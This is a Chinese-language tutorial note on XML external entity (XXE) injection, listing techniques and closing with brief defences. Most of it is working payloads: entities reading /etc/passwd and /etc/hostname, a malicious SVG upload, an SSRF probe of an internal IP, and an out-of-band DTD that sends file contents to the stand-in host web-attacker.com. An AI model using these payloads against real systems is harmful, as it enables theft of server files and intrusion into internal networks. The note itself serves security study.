XXE外部實體注入漏洞總結
- 2022 年 2 月 20 日
- 筆記
XXE
漏洞原理
XXE是xml外部實體注入漏洞,應用程式解析xml輸入時,沒有禁止外部實體的載入,導致可載入惡意外部文件和程式碼,造成任意文件讀取,命令執行,內網埠掃描攻擊內網網站等危害。
漏洞危害
1. 讀取敏感文件。
2. 執行ssrf漏洞,進行內網埠探測,攻擊內網網站等。
漏洞檢測
1. XInclude攻擊
一些應用程式接收用戶的數據,在服務端嵌入到xml文檔中解析,這時我們無法控制整個xml文檔,所以就無法定義或修改DOCTYPE元素。XInclede是xml規範的一部分,允許從子文檔中構建xml文檔,從而進行攻擊。
<foo xmlns:xi="//www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
2. 利用文件上傳來進行xxe攻擊
docx和svg等都是基於xml格式,如果影像處理庫支援SVG影像,攻擊者可以提交惡意的SVG影像,就可以利用文件上傳執行xxe攻擊。
創建具有xml程式碼的SVG影像
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="//www.w3.org/2000/svg" xmlns:xlink="//www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
將此影像上傳上去。就可以在頭像中看到/etc/hostname文件的內容。
3. 通過修改請求包的文件內容類型來進行xxe攻擊
有些應用程式會允許xml的內容類型,我們就可以修改Content-Type: text/xml欄位,來利用xxe漏洞。
POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
原來的請求體中的內容是:foo=bar
4. 讀取敏感文件
利用file協議讀取伺服器中的敏感文件。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck>
5. 執行ssrf攻擊
利用http協議,讓存在xxe漏洞的應用程式向與它處於同一內網的發送http請求。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "//192.168.1.1:3389"> ]>
6. 帶外通道技術來進行盲注xxe
一般情況下,雖然存在xxe漏洞,但是不會回顯外部實體注入的值,我們就要利用帶外通道技術。(OOB)
攻擊者在vps中放置惡意的DTD,讓存在漏洞的應用程式去訪問。
惡意DTD(外部實體)內容:訪問//web-attacker.com/malicious.dtd可以訪問到改DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM '//web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
向存在漏洞的應用程式中輸入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "//web-attacker.com/malicious.dtd"> %xxe;]>
7. 通過錯誤消息來讀取文件
通過觸發xml解析錯誤,在解析錯誤資訊中返回我們需要讀取的敏感資訊。
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
漏洞防禦
1. 使用開發語言提供的禁用外部實體的方法。
2. 過濾用戶輸入的xml數據中的關鍵字。
3. 不允許xml中有用戶自定義的文檔類型。